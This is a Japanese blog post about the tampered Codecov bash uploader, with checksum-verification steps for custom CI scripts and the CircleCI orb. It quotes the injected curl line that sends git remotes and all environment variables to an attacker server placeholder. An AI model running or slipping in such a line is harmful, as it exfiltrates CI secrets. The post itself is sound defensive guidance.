概要
コードカバレッジサービスのCodecovでは、カバレッジファイルをアップロードする際に以下のようにbash scriptを実行します。
bash <(curl -s https://codecov.io/bash)
しかし先日、このbash scriptが何者かに勝手に改竄されている問題が発生しました。
改竄されたスクリプトでは
curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http://ATTACKER_SERVER/upload/v2 || true
という処理が埋め込まれており、CI処理などで環境変数に設定していた情報が全てアタッカーのサーバへ送信されてしまうことになります。
一次対応として送信された機密情報のローテーションは必須ですが、二次対応として今後同じ問題が起きないよう再発防止策の導入も必要となります。
環境
- codecov bash 1.0.2
- codecov/codecov 1.1.5
再発防止策
今回問題は
- Codecovがアップロードしているbashスクリプト(カバレッジアップロード時に使う)のshasum
- Codecovのgithub上で管理されているshasum
の2つを比較したユーザがおり、そこからチェックサムが異なることで発覚しました。
なので対応策もそれに則って導入します。
- 自前スクリプト
- CircleCI Orb
のそれぞれのケースで説明します。
自前スクリプト
TravisCIやJenkinsで自前で処理を書く場合です。
カバレッジファイルのアップロード前に以下の処理を実行します。
curl -s https://codecov.io/bash > codecov VERSION=$(grep '^VERSION=\"[0-9\.]*\"' codecov | awk -F '"' '{print $2}') shasum -c --ignore-missing <(curl -s https://raw.githubusercontent.com/codecov/codecov-bash/${VERSION}/SHA256SUM)
ポイント
- bash scriptにはバージョンが書かれているのでそれを使う
- checksumファイルは複数行書かれているので
--ignore-missing
で対象外ファイルをスキップする
CircleCI Orb
CircleCI 2.1以降ではOrbが使えます。1.1.4
以降を使ってください。
デフォルト設定ですが、validate_url: true
の際にchecksumによる検知を行ってくれます。
orbs: codecov: codecov/codecov@1.1.5 ... coverage: executor: default steps: - attach_workspace: at: /go - run: name: "Coverage" command: | go test -coverprofile=coverage -covermode=count ./... - codecov/upload: file: coverage
まとめ
公式で書かれている通りのやり方に関わらず、生のスクリプトをそのまま実行するのは今回のような問題が起きうるのでchecksumのように何かしら改竄チェックを入れることが重要です。